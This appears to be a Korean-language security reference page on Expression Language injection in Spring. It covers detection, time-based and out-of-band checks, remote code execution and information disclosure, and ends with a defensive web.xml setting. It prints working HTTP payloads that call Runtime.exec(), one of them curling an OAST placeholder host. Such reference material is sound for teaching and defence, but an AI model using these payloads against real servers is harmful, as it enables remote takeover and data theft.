EL Injection

Introduction

EL(Expression Language) Injection은 Expression을 처리하는 EL interpreter에 대한 Injection 공격으로 SSTI, OGNL Injection과 유사함을 가집니다.

Offensive techniques

Detect

만약 Spring에서 Expression을 통해 아래와 같이 처리하고 있다면 param.msg 즉 data란 이름의 파라미터는 Expression Language로 처리되기 떄문에 Injection을 통해서 공격자가 원하는 구문을 주입할 수 있게 됩니다.

<spring:message code="${param.data}" />
GET /log?data=${param.test}&test=INJECTION HTTP/1.1
Host: localhost

EL Injection에 대한 탐지는 보통 SSTI와 유사한 형태로 진행되며, 이외에도 직접 Expression 구문을 전송하여 서버가 처리하는 방식을 체크하는 형태로 이루어집니다.

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("COMMANDS")} HTTP/1.1
Host: localhost

Time-Based

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("ping -c 5 127.0.0.1")} HTTP/1.1
Host: localhost

ping 체크 시 5회 체크하기 때문에 약 5초의 딜레이가 발생합니다.

OAST-Based

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("curl <OAST-SERVICE>")} HTTP/1.1
Host: localhost

OAST-SERVICE로 DNS Query와 HTTP Request가 도착하는 것을 확인하여 체크할 수 있습니다.

Exploitation

RCE

Expression은 언어에 따라 다르지만 보통 Server-Side Application에서 처리할 수 있는 권한과 유사한 권한을 가지기 때문에 이를 통해 공격자가 의도한 명령을 전달하고 실행하여 서버를 탈취할 수 있습니다.

GET /log?data=${T(java.lang.Runtime).getRuntime().exec("악의적인 명령 실행")} HTTP/1.1
Host: localhost

RCE Tirkc은 SSTI에서 Expression에 대해 명시되어 있으니 참고 부탁드립니다.

  • https://www.hahwul.com/cullinan/ssti/#ssti-to-rce

Infomation Disclosure

Expression을 통해 Object를 참조할 수 있기 때문에 통제된 Object 내부의 값을 호출하여 정보를 탈취할 수 있습니다.

GET /log?data=${admin.internalToken} HTTP/1.1
Host: localhost

Defensive techniques

Basic

기본적인 대응방안은 SSTI와 동일합니다.

https://www.hahwul.com/cullinan/ssti/#-defensive-techniques

SePL

SePL(Spring Expression Language)의 경우 Spring framework의 web.xml에 springJspExpressionSupportfalse로 지정하여 기본적인 SePL Injection을 예방할 수 있습니다.

<context-param>
  <description>Spring Expression Language Support</description>
  <param-name>springJspExpressionSupport</param-name>
  <param-value>false</param-value>
</context-param>

Articles

  • https://www.hahwul.com/2018/08/25/spel-injection-springboot-rce/
  • https://www.hahwul.com/cullinan/ssti/
  • https://www.hahwul.com/cullinan/ognl-injection/

References

  • https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection